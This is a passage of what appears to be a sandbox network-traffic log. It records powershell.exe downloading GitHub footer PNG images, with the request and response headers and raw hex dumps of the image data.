8a 9a 97 Data Ascii: l;tsJ~4%xY7K.~6"2n%}rMu2HNlO&:!4K @[`r;%Mnho7^ z/vcciz%?W^6y-K}M>k:&;E:dYD rKXP;[[LRW>%!Ox',euY
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 39 d0 47 94 9a cf 17 3c fd d4 c6 70 63 74 e3 40 a9 e5 fe 22 d0 de 8b 68 0f ec b4 2b b5 db ad b6 5b 6f ab 5d 97 cd 8f db 74 5b 75 c5 f7 b1 fd eb 8a ff 0d bc 30 e2 7d 4c ef 76 77 3b d6 1a 21 77 83 d2 41 fe f9 ea ab 4f bf 92 17 b9 75 96 98 72 1f 6e 6c 6f 0b b7 8e 12 e5 1e f4 1a f0 b2 cb ec 43 3c 90 98 36 2f 57 a6 84 4d c7 66 dc c9 5e eb 9f b5 9f fb ae 94 1e dc dd d1 a4 94 45 98 c1 28 f9 4a 63 b8 31 4b 58 6e 19 25 db c2 bd 79 5f a4 dc 57 b9 38 83 d0 46 1c 6e 68 1f db 4b 39 ba a9 3b f6 b4 aa f3 5b 16 bd 90 e8 0a da 91 74 55 ca e2 95 94 5d f1 4e 3a e9 58 8a 69 37 3e 06 35 b9 e3 e5 fe 73 1b dc 1c 25 83 5b 03 52 fb 86 76 10 87 5b b5 61 8c 10 3c bd e9 1c 2e 6c 7b e0 9a 2c 4b 5d d2 f7 4c 49 37 e1 de 15 ed 84 54 1c eb 46 e3 d2 57 ef 22 ea 4d 6e 68 a3 dc 3f 04 da 9b Data Ascii: 9G<pct@"h+[o]t[u0}Lvw;!wAOurnloC<6/WMf^E(Jc1KXn%y_W8FnhK9;[tU]N:Xi7>5s%[Rv[a<.l{,K]LI7TFW"Mnh?
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: e3 fa 0d 4f 71 ff ba be 8f e8 7a 3b 97 05 37 0e 93 36 1c 25 ad f0 ca 70 bb 07 3b c7 8d a3 ed 5c bb 34 69 96 bd 1e a7 19 e3 8b 66 34 ae ac a7 64 8e 87 82 c4 af e0 15 03 6b e6 94 63 1b 2b 40 ed 36 17 dc eb eb 56 7b 71 e0 b7 a7 71 70 73 98 28 f8 e2 34 af 9f e9 96 1e a7 e7 e2 c0 a8 34 bf a9 a5 00 63 4b cd 88 15 66 f0 8b 80 fb bc d1 66 0a 15 77 40 7d 9c 7d f9 e6 c2 3a bc 0f d0 ed 9c b4 af 1a 63 80 8d dc 3d 4d 6c 2b 4e 77 e2 7b c7 52 68 37 cd ee 65 24 ce cc 12 f3 2b ef 77 35 37 0e 36 9d 33 ec 56 5d 56 6b e0 ae c7 32 5a 71 0f 06 97 a0 fd 6e b2 f6 45 d1 06 f7 fa 01 b0 73 ba 83 67 38 1c dc 04 9f b6 dc 04 a7 79 9b dc 1e 3a b4 53 63 9b 9c 1d 21 76 52 9b 48 ca 31 b8 97 3d ed ad 8a 42 db fc 0d 68 5f db de 59 fc 6d c0 bd 76 4e 9e e9 a0 da 83 fe ed 37 b1 c1 2d 3b b4 ef Data Ascii: Oqz;76%p;\4if4dkc+@6V{qqps(44cKffw@}}:c=Ml+Nw{Rh7e$+w5763V]Vk2ZqnEsg8y:Sc!vRH1=Bh_YmvN7-;
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 3c 67 9e e5 f6 b8 6d b9 55 3b 90 0e e3 80 6b 44 7b 76 6e 0e dc 4b 21 37 d3 f2 95 c9 4b 64 37 13 ba 1a 8d 60 cf 12 7b 26 f2 69 07 d8 aa 0d 6b e6 0d 60 c3 9a cf 60 64 b5 71 8c cc 5b 9b e5 b6 a3 9b 09 bb 4d ec 27 f0 27 c2 3a e2 04 17 0a 29 b7 cc 24 c1 99 8e 73 37 bd 51 51 4b 34 e6 9d 96 cd 66 5b 97 47 d3 49 cd 7e f0 fe b6 84 73 44 b0 03 6d 27 6f d3 9a d8 7a 88 7c 3a c4 b6 da 57 9d c9 2d b7 ce 66 70 ab 36 ac a3 01 78 28 1e 68 df 8f 76 5b ef 98 76 3b 8b 98 0f 80 88 a6 ee 62 cf 39 d8 cf 2f 2b f6 bc c5 7e f0 c7 47 ff 2a 8f b8 39 32 d6 8a ed ce 11 d1 7e d8 54 7b a9 05 ed 1c ff 48 e6 61 81 82 12 b8 89 4d ed 10 fb 55 93 50 9c 15 9f 13 ed 80 9b f5 1e b3 db d8 58 3d b9 c7 00 a6 b2 f3 7d 3b f8 57 80 b5 62 cf 46 b1 9f c7 da c7 ce 91 19 60 ff f8 e8 8f da 6d 9e dc bd 48 Data Ascii: <gmU;kD{vnK!7Kd7`{&ik``dq[M'':)$s7QQK4f[GI~sDm'oz\|:W-fp6x(hv[v;b9/+~G*92~T{HaMUPX=};WbF`mH
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 20 dc 1c de f4 76 66 b7 b6 9b da d7 af ea 4d a6 07 24 a6 e0 0a 0e 71 4b 4e 74 86 cc 80 6e 44 0d eb a1 82 c1 e6 72 44 87 76 79 94 da 11 72 65 d6 5f 1b 91 43 3b d9 64 2e 89 8d cf 5d b3 14 8c e1 f6 bd 39 4b c0 ad 99 2f 16 e1 ad e0 14 57 72 aa 33 64 86 33 a0 75 56 db 09 82 43 63 60 3d e4 9d 31 07 c8 08 f6 c8 e8 e8 30 b4 f1 c0 d3 0d bc 03 74 89 c3 be 07 da 09 67 b3 72 eb 34 61 bd c9 cd 75 37 db cd 72 0b f7 60 51 a2 0d d7 8a 43 5c cd c9 ce a8 b2 3a 03 da 48 5b 6a 5a c3 74 e4 12 8a ed 62 97 cb a3 c3 93 df b3 dd 91 2b 1f c7 87 e2 1a db f7 d5 c9 6b 77 cc 09 8b 70 eb 34 39 17 cb 1d 1d de e1 76 0f 4a e0 0d 70 23 4e 73 a8 33 64 26 b4 4a bb d4 b0 2e 5f 53 6c ce ec a2 36 1b d8 93 df 0f 42 9b e0 5d 8d aa 4e e5 a0 f8 2b a0 9d 70 96 8b 8a 0e 6f b7 de e4 76 ea 6d b5 1f 5f Data Ascii: vfM$qKNtnDrDvyre_C;d.]9K/Wr3d3uVCc`=10tgr4au7r`QC\:H[jZtb+kwp49vJp#Ns3d&J._Sl6B]N+povm_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49825	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:51:00 UTC	362	OUT	GET /assets/footer-mona-d1c861cd8018.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:51:00 UTC	701	IN	HTTP/1.1 200 OK Connection: close Content-Length: 24094 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: Qw4tK3XHbhlzi5w6gxQkMA== Last-Modified: Wed, 14 Aug 2024 20:00:05 GMT ETag: "0x8DCBC9BB0FE9B31" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2359620 Date: Mon, 30 Sep 2024 13:51:00 GMT X-Served-By: cache-iad-kcgs7200074-IAD, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 25507, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d2ac45feaafdf14eb9ab141c72a116b2e8d13c7f
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 eb 00 00 01 eb 08 03 00 00 00 d8 2d 45 93 00 00 02 fd 50 4c 54 45 00 00 00 4a 78 ee 99 b8 cc 68 92 de 95 ab 9c 5c 8d d9 4e 8f e2 56 8c e0 52 8f e4 a1 a6 fe c7 e0 cd 88 ac ab 55 92 e5 4b 91 dc 53 b1 c7 89 97 9f 92 a8 a6 84 a1 f6 6a 9a ed d7 e4 da 52 8b d9 dd ef cf 9d aa fa 57 90 d9 e3 f2 d5 8a a6 ad a4 ab fd ee f9 d8 70 8f c0 91 ac a8 e6 f4 d7 4d 76 f1 07 3d eb 04 3d ea 09 6b de 05 41 ec 07 55 e6 06 48 ea 06 4e e8 08 5c e3 08 63 e1 05 3a ed 04 34 ea 6a d5 d0 45 9d db 47 a3 da 04 2e e6 43 98 dc 41 93 de 48 a7 d8 03 27 dd 04 2b e2 02 07 3a 03 24 d7 54 b8 d5 40 8d e0 4c ab d8 57 bd d4 03 12 36 03 1f cd 52 b4 d6 01 06 50 5b c1 d4 5f c6 d3 01 06 45 4f af d7 03 21 d2 02 15 b6 01 06 5c 04 0a 1f 64 cc d2 01 Data Ascii: PNGIHDR-EPLTEJxh\NVRUKSjRWpMv==kAUHN\c:4jEG.CAH'+:$T@LW6RP[_EO!\d
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 6a 2d 7d 67 30 b8 67 29 6f ab 81 8f 6d a7 d6 ee 3a ee b1 99 dd 2f f4 58 5c 6e 1e cc a4 d6 6c 75 57 b0 1b 23 03 0d 67 64 70 07 a3 ad 06 e6 70 30 44 06 6a 6e 0f b7 8f 5e 0e 6b ed b1 e7 cd fc d0 42 49 6c cb da 69 f5 13 96 5a a4 05 da 50 43 7a d8 c6 c0 0c b2 7d de d4 9a c6 4c 14 db bf 7a ed f6 d2 9d 7d a2 d4 18 94 35 4c 88 8d 19 3a db ad a6 b4 50 4b ee a8 b4 75 86 f5 76 7d a8 86 ce e6 70 f8 c5 a9 b5 5b 6d 83 ed 2f 55 76 2f e9 1c bc 18 c7 9b dd a6 33 4b cd bd 3a 2a 8d 42 63 a2 d2 94 ae 0f 2b c3 4a a5 b2 a9 73 8e b5 de 11 db 5f 97 ee d6 da 9d b1 80 bb 51 6c 4c 87 9b a5 96 e8 1f e3 50 ab 56 b7 4d ab eb 2a c0 ae 28 69 35 90 af 3c 98 ed 8c bd e4 7f 23 64 37 a4 73 bc d2 ec 32 16 78 18 d7 19 d2 9a 9a d2 21 f5 00 d4 21 34 9c 8d b4 53 eb 59 b0 0f a7 7c e6 4c 3a 63 9c Data Ascii: j-}g0g)om:/X\nluW#gdpp0Djn^kBIliZPCz}Lz}5L:PKuv}p[m/Uv/3K:Bc+Js_QlLPVM(i5<#d7s2x!!4SY\|L:c
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: c1 76 96 71 ab dc dc ba f5 a3 82 2f f2 6a 62 99 64 8e 56 9a 1b 75 99 d4 ca 9a 77 66 89 a1 cf c2 ba df ef c3 fa fa 5d c1 f6 9b f6 de 71 ea f5 ea ba fc 9a 43 7a 12 77 10 6a 33 d0 c6 43 7d 54 94 3a 99 9b 6a d6 9a 71 d2 bc 3f 31 ad 2e dc 9a b7 d6 67 31 91 db c0 be 2e d8 d0 16 ec 05 fe 3d ed 7d c7 be 3b d4 d2 ad e2 34 6c 8b db f1 ae 60 06 43 7f 34 61 2c 7d 26 74 18 20 db 9d 2e 20 f3 9e cc 50 6a 95 fe d9 be 60 e3 84 66 aa bd c0 27 b4 bd 4b ab ab 5b 42 7d c8 50 af af e7 81 4d 6d cd 3d 45 bb 39 e6 5d 23 b9 fa aa 19 e7 26 26 0b 6d ad de 2e f5 2e 2c e1 26 7d e4 c1 75 ec da 01 f6 e2 9e d0 8e ac ae ae de bc 79 ed 28 a4 bf 69 69 5a 13 1b 71 b1 45 9b e0 f0 ae b5 34 74 2d 18 66 ca b7 1d 67 81 66 a7 29 8d 7c e0 12 9e b4 d4 2b c4 7e 1a 60 e3 3c be b8 d8 07 94 34 ac 91 a3 Data Ascii: vq/jbdVuwf]qCzwj3C}T:jq?1.g1.=};4l`C4a,}&t . Pj`f'K[B}PMm=E9]#&&m..,&}uy(iiZqE4t-fgf)\|+~`<4
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: ec c9 dd 66 a7 58 43 4d 0b 7f 96 16 ae 58 1b 76 92 5e 58 30 6b ef e2 73 cb 73 73 c2 96 76 c6 5e b2 6c 8b 15 5c c4 8b c2 b9 1a e9 74 7d b4 b9 b9 b5 65 66 2a b8 eb e5 de 2c bd 81 96 b3 a8 0d 9b 60 9f 6c aa c0 9e dc c5 f8 c3 c4 ba 4c b5 a4 45 ad 58 2b d7 34 71 69 5b ad 09 fb dc 20 f6 d2 fb 6f e2 49 96 e3 7c ae 0f 69 a4 57 57 6f 25 6a 97 76 6e c0 c9 36 c8 14 d0 4c 6a 41 ab 4e f5 4f 11 6c ab 9d 93 3b 19 7b c9 b0 27 76 31 7e 42 b1 e6 74 94 5c 13 ea 3c ad 3d d6 46 6d f7 05 59 2b d7 66 7d f6 dc 39 ef e3 c2 5e da 95 68 15 59 ce 1e e9 32 d1 d2 46 da ea aa 51 6f cd 6c c9 4b d4 70 77 15 ca b4 6f 55 2b 9d ae 7e af 0d f6 e9 9c ec 9d 9c ec 89 5d 9f 1d 2f a7 35 c1 b6 3f 97 35 b1 5e 50 d9 a6 cb ca d6 66 c2 9e b3 12 b6 69 93 6c 2b 8f 36 be 6e 1c f2 8c 72 09 6d 65 2d dc a8 Data Ascii: fXCMXv^X0ksssv^l\t}ef*,`lLEX+4qi[ oI\|iWWo%jvn6LjANOl;{'v1~Bt\<=FmY+f}9^hY2FQolKpwoU+~]/5?5^Pfil+6nrme-
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 5b 99 17 e2 fa 84 c6 d9 6e d5 db 6f 1b 6b 29 bd 0f 34 ce 94 8c e5 3c 1c ea 57 f4 1a df 9e 98 b4 27 aa 8b b3 32 b3 aa ac c1 e9 e0 ec b7 fc a1 75 bb df 5a 2b a7 b5 a8 5d 1b 6b 0b 36 15 16 dc 1d d2 66 fd f6 6c b6 9e a9 e6 1a 66 49 07 67 4f 73 a9 8d 74 ba ac 66 99 d6 b3 7a d1 ed 23 7b 22 96 67 c7 c3 e6 ba 4e 3d af 54 23 6d 0d dc 2a 41 a7 58 7b 0f cf b1 66 5a 77 58 d3 b2 41 86 d9 9d 9d da ea e3 59 09 f3 6c b2 06 ed d4 f5 e5 18 ca 2e 5d 6a db e2 2c e6 da 8a 5d f6 4f 63 1f ec 13 4d 0b cf f3 1a 6b 96 e0 82 26 d6 ed b0 b6 2b 4f 6b ef e0 71 5a cb 9a c5 d9 47 45 94 79 29 a0 75 59 41 ad 3a 79 5a a7 de 41 1b 69 61 93 68 46 34 89 5e 24 d4 65 ac 53 9d 4a 07 29 58 eb b2 6a 82 7d cf 67 3f 8d f9 f2 8c 33 b3 8e 0e 3e 4c 6d 45 ac b5 dd 22 d6 db 4e 4d ae b1 be 25 64 2b 88 eb Data Ascii: [nok)4<W'2uZ+]k6flfIgOstfz#{"gN=T#m*AX{fZwXAYl.]j,]OcMk&+OkqZGEy)uYA:yZAiahF4^$eSJ)Xj}g?3>LmE"NM%d+
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 64 d6 61 65 56 54 13 ec 31 3b 4f 39 aa 16 ce b8 ee 4a 35 a7 a3 76 79 aa e7 42 ac 59 9a 29 d8 92 a6 87 1f 78 ae a3 36 8d 1c ee e6 fc ac d1 c6 39 8c 6b c3 0e a9 ce b7 57 7f 6b a6 09 f6 a3 47 c6 a9 f4 8e 94 62 c7 15 a8 b1 ee 8e b5 a4 63 0f af e7 fa c0 4a d4 b1 91 63 5d 62 b3 ed 0a de 0d 36 d6 95 54 b3 3c 5b 5f 5f 19 b3 d5 d9 f4 d0 b8 66 5d 66 77 78 e7 28 cf b7 7c 73 5d 1b d7 ac cd 84 4d b0 0f d6 1a 6c b8 bb 1a 39 da 24 3b 1c 86 8b 3a e4 da 2e 7e 0a 8b b0 9b a5 f8 58 ad ce a6 d8 71 35 d8 b9 3a 62 bd cc de 9a 16 1e 87 75 ba c8 75 2a 59 eb 83 b9 6c ab ef 54 da 5f c0 8e da 44 5b 05 b6 b4 29 e6 35 d0 ac c1 cb 52 b0 c7 6b 75 76 2f e3 5a d4 62 0e d4 48 f3 d8 fa 3c 1b ae ea 61 78 6c e2 0c 6c 59 53 07 b2 f9 da 57 5b 45 b2 d1 0e 2d fc d4 60 ac 87 73 ad ea b7 7b ec 31 Data Ascii: daeVT1;O9J5vyBY)x69kWkGbcJc]b6T<[__f]fwx(\|s]Ml9$;:.~Xq5:buu*YlT_D[)5Rkuv/ZbH<axllYSW[E-`s{1
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: eb ef 47 7d 60 4f 0d 59 5f ec 88 b5 4b 37 d4 61 7f 8d 34 d4 2a 0e 4c f9 b6 dc 43 7c ca 65 2f f5 06 de f6 70 9c e3 a4 26 d7 34 70 a4 d3 6d 65 d6 5f 7d ff dd 77 23 bd c3 6e c7 b5 e6 75 ba 91 0e 27 66 c5 51 78 90 b6 1b 6e c7 76 70 b4 0f 6f 5c c7 44 2b d4 40 e3 1c 96 65 80 c3 1c 37 d6 7c 87 9f 51 ab 89 8f f6 c0 7e 58 b1 36 6b 19 b3 06 6f 8a 58 c7 93 f0 12 9b 2e 4e b8 f3 e5 2f 85 f5 e1 9c 9a 01 0d 38 91 96 77 c7 67 b6 78 cb 7f 47 fb 3e a5 f2 81 3d da cf 35 a7 b1 ce d2 9e 6b e3 7e f0 e6 8d 1b 37 6e 13 eb a6 c2 53 0f 51 97 b1 2e 72 2d ec ea d2 ec 3f 2a 9c d1 a6 c0 16 35 c5 92 8c 50 4b bb 23 d5 c6 6c b7 82 ad 26 3e ca 03 bb 18 d7 8d 75 fa 93 db d7 af a9 36 64 5d 8f 35 da e7 82 b6 bc 73 2f e7 21 a7 ac 0f 63 69 c6 46 cb a1 c3 fa 9b 50 93 e9 b0 d7 2a a1 2b a9 26 d7 Data Ascii: G}`OY_K7a4LC\|e/p&4pme_}w#nu'fQxnvpo\D+@e7\|Q~X6koX.N/8wgxG>=5k~7nSQ.r-?5PK#l&>u6d]5s/!ciFP*+&
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: da 62 26 d7 ec b7 bc 83 6f 0a cd 15 81 b6 22 b7 18 07 db ba 34 dc 7e 53 e1 47 9f cc 22 ad 58 07 e7 52 ba 3a a9 59 80 ab 16 85 ed 0b f1 23 a3 55 16 eb 69 62 ad 45 b8 95 69 0f 47 7b b7 7c 9e a9 68 93 eb aa 74 2e 72 5d 9c 98 ad 24 6a 14 b9 21 66 1e f3 d7 bb 98 81 8e c5 db 06 21 06 ba 7e fc 1d a5 1d 9a 42 1a ed 9e 5b 7f 3f 82 1b ec a9 44 dd 5a af 26 eb 96 9a 3a 5f 39 0c af bf 07 a9 aa de c4 1a ea f5 1d 37 cd 37 b8 98 d3 c0 bb 2b 2b c3 7c ba 4e 4d ef 0e d8 d5 73 b2 78 02 8e 31 0f 3b 0a e7 26 d7 bd 64 3d 5a 1b ec a3 69 15 1e 63 4d b4 db 6c 6f 94 2d bc 4c b5 7b ef 5d c5 e1 28 1d 9c b0 76 fc b6 23 d1 0e ec 1d 1b e7 7d 1f 4f e3 ac 4c 07 68 ce c9 82 b4 5e 69 e0 14 de 29 d8 a3 b9 c1 9e ae c7 5a d4 84 3b ad cc d0 2e 73 dd 1d ed 38 ac bd 83 df 51 f1 24 da 7f a7 8a d2 Data Ascii: b&o"4~SG"XR:Y#UibEiG{\|ht.r]$j!f!~B[?DZ&:_977++\|NMsx1;&d=ZicMlo-L{](v#}OLh^i)Z;.s8Q$
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 1a b2 6a 19 b1 cd f7 36 49 30 2f f6 c0 89 b4 ca ce f5 3c 57 9a 3b 27 b3 f6 64 3e 43 bd ea 23 90 e9 de 2e 7a f8 e8 df c0 3e 12 6a a4 a7 b9 d1 7e ed 91 52 ef b8 91 43 8d 34 da 3a b2 b6 b7 65 21 9d a9 37 22 92 28 27 74 5e f2 89 d1 98 0f 15 97 56 a4 39 6f c7 7c e4 42 1a 68 95 a5 db db 64 d4 c5 13 e8 8b 55 13 ec ff cc fa c4 09 75 48 5f a8 ba 49 43 13 ed da c6 ff 90 74 89 f6 3b 4a b5 b4 ff 08 e9 76 c1 0e e9 a6 b8 7b 96 77 65 50 53 ad 58 62 cd a2 8b f4 6d f1 7a f0 98 98 75 f4 91 07 7e 1a 18 69 76 65 68 0b f8 62 69 0b 3a ca d6 2f fc 37 d6 c7 6a b1 86 da c4 ae 9e b6 ad 1d 6d 81 57 6a 5a 78 ea e2 2c da 01 3d f3 aa 5a d4 44 79 0e a0 bd 7d e0 3e d7 d9 b3 9f 67 8a 30 a7 fb 26 aa ae b3 4e 69 f7 6d e8 a8 e2 bc 2a 6d aa d8 1b 7b 7c 6b 16 6b 53 23 3d 49 37 ab b6 ac 4f 7a Data Ascii: j6I0/<W;'d>C#.z>j~RC4:e!7"('t^V9o\|BhdUuH_ICt;Jv{wePSXbmzu~ivehbi:/7jmWjZx,=ZDy}>g0&Nim*m{\|kkS#=I7Oz
2024-09-30 13:51:00 UTC	1378	IN	Data Raw: 6a 49 8f 61 cd 7a fd f5 d7 f7 be b8 71 fb d7 7f 9c 74 0d d8 4b 5d 77 81 ed ad f8 5a db c0 73 a8 d5 be 63 85 8c 4e ea b9 7c 41 3e bf 30 ce 1f 96 95 9d 43 1a e8 44 0d f7 f0 de 1b e7 e9 fa e6 86 6f c0 1e 2f d7 2b 67 0b e0 c5 17 5f fc fa 85 cf c4 7d 92 97 6d d5 e2 77 cf 68 e2 0a b6 91 83 9a a5 ba bd fb bd 11 6f 72 20 c7 60 1e b6 32 b2 a6 8b eb 2a 8a e7 38 f3 9d 8d 38 ad 9e 5b 9d 43 18 69 ef ba 81 46 5a 47 2b 7d a0 7d ed 37 d7 7e a3 2a d8 af be 6a ea f1 7e 49 e5 31 f7 dc f3 62 d4 c6 0b 2f bc f9 ba c0 4f 12 f8 02 7b f1 1c 6c 29 5f 7f 10 6b 42 dd ec c9 e2 cd e6 48 da 04 fe 10 c2 44 d9 7f c2 34 87 3a 43 c7 58 b5 73 7b 89 e5 c9 ce 3b 53 8b 39 a0 83 3a 88 7d 5c 7b ad a8 35 2b 76 58 9f b5 32 56 3d 1f 75 c9 f7 97 7c 7f d1 da 8b 5f 6f bc a0 3b 77 1b 1b 8f 2f b4 62 67 Data Ascii: jIazqtK]wZscN\|A>0CDo/+g_}mwhor `288[CiFZG+}}7~j~I1b/O{l)_kBHD4:CXs{;S9:}\{5+vX2V=u\|_o;w/bg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49826	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:51:00 UTC	362	OUT	GET /assets/footer-star-36e5b5724973.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:51:01 UTC	699	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2681 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: eYLIogiEbNeFawt8k4hrIA== Last-Modified: Wed, 14 Aug 2024 20:00:14 GMT ETag: "0x8DCBC9BB640F7B4" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:51:00 GMT Age: 1805818 X-Served-By: cache-iad-kjyo7100039-IAD, cache-ewr-kewr1740040-EWR X-Cache: HIT, HIT X-Cache-Hits: 1492, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: be44d2fcf97cf4a115c790024828afca74fc4c65
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 75 00 00 00 75 08 03 00 00 00 47 da 5e 8e 00 00 02 fd 50 4c 54 45 00 00 00 ff 90 bd 88 3d b4 ea 4c 59 9e 46 dd c2 4e a2 f4 56 4d fa 65 96 94 48 f4 e6 49 7a 28 12 31 26 12 34 98 48 ec a4 4a d6 a3 49 df f5 50 63 f9 51 62 fa 4e 62 f9 50 6c f9 50 6d f2 59 6c 9e 49 e6 ad 4b c9 9d 48 e8 fc 57 43 aa 4a d4 fb 56 49 97 48 ef ff 88 b4 bc 49 c1 d6 55 84 57 2a 91 fe 57 3c ed 50 64 f9 51 5c fd 73 9a e5 52 88 15 0a 1e fb 4f 6a ff 8e be fc 50 71 d8 49 7a 81 3f e0 f6 4a 81 e5 53 69 bc 4c b7 62 30 a7 f0 51 60 3d 1d 62 0f 07 13 b4 4a c8 ff 91 bf ff 79 9e da 49 a2 ff 58 37 ff 99 c8 cb 4f 97 47 23 7b 1c 0b 1d d7 51 84 fe 55 46 fe 54 4a fc 53 4e c8 4b ab 6d 36 bb 3a 18 40 dc 4c 95 7f 3e d2 ff 83 aa 29 15 4b f3 54 6f ff Data Ascii: PNGIHDRuuG^PLTE=LYFNVMeHIz(1&4HJIPcQbNbPlPmYlIKHWCJVIHIUW*W<PdQ\sROjPqIz?JSiLb0Q`=bJyIX7OG#{QUFTJSNKm6:@L>)KTo
2024-09-30 13:51:01 UTC	1303	IN	Data Raw: 89 85 44 ad c6 81 e5 1e 3f 1e 9f a6 d1 ba 9d 79 1d 3d 83 e6 86 5c 2b 0e 92 67 65 65 68 a0 df 74 88 7c 3e 5f 5f 5f 06 fd f9 09 93 cf 49 f1 c7 7f ff 9d 97 2e 5e b8 7f 26 25 fa ba 91 d1 36 dc 32 68 0d c9 cf cf cf d1 d1 37 20 e0 54 c8 f6 90 5f 54 78 bd d8 12 55 30 0d 29 dc dc 2b 87 0e ee 3c 90 fd e8 e1 9b a2 a2 2f 9f 3f 7b 78 78 b8 56 b6 3d 32 32 d8 df dd 3d 38 24 c0 d1 cf cf ce 0f ab cc 2d 2c df 58 8e e2 ac 8e 65 8f 3b 44 4e 05 f9 f9 f3 bb 77 f9 3c 31 93 44 22 e6 4b 83 5d f7 3a e2 c9 a1 aa 83 53 cd 25 26 59 4e df b2 85 c8 d9 a9 8f de 14 01 2c e3 f3 78 7c be d4 d9 cb c5 35 d0 77 0d b3 e6 18 06 95 1c 1c 92 68 32 aa 5e 35 db 6f 91 c3 b0 cd 99 f7 52 ae 47 44 45 45 05 06 06 c2 36 33 31 b2 63 00 39 ae ca 19 16 d2 01 b7 12 fe 18 9f 76 6c c5 4a d2 06 5c 25 8c 8f 2b Data Ascii: D?y=\+geeht\|>___I.^&%62h7 T_TxU0)+</?{xxV=22=8$-,Xe;DNw<1D"K]:S%&YN,x\|5wh2^5oRGDEE631c9vlJ\%+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49827	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:51:01 UTC	365	OUT	GET /assets/footer-diamond-ed642fc95144.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:51:01 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3987 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: jHlJ9CQYc83MS2hydr1Cgg== Last-Modified: Wed, 14 Aug 2024 20:00:24 GMT ETag: "0x8DCBC9BBC1FA8D3" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:51:01 GMT Age: 2356211 X-Served-By: cache-iad-kiad7000066-IAD, cache-ewr-kewr1740027-EWR X-Cache: HIT, HIT X-Cache-Hits: 39615, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c9973e0e602602d518ab25cb08dd1c7bd1d11832
2024-09-30 13:51:01 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 f7 50 4c 54 45 00 00 00 df dc f5 cf cf e6 1e 5c ca b5 ce e4 e1 de f5 de d7 f7 dc d4 f5 b0 e7 d5 dd d5 f6 cd df e9 7d 88 d2 df df f5 b7 b5 e5 9f 89 f0 9a 90 f1 85 cb b4 a1 d1 c5 da d5 f5 da d8 f3 d6 d3 f4 af d1 ce 96 b3 bd d4 d9 ef 08 ca 73 f1 ef fd 7f 82 c3 c0 ea dd 75 7a d6 e8 e5 f9 06 db 63 9f ab cf b9 ec d4 dd cf f7 ac d1 ca 9b a4 c6 06 e0 60 9a 8d e9 ce cb f9 98 85 f2 93 81 f2 83 86 be 0d 80 aa 7a 6e f4 12 c5 7c 47 c8 a0 55 60 ec ca c9 f3 26 64 cf 7e 71 f4 06 cb 70 35 5d dc 52 5f ea 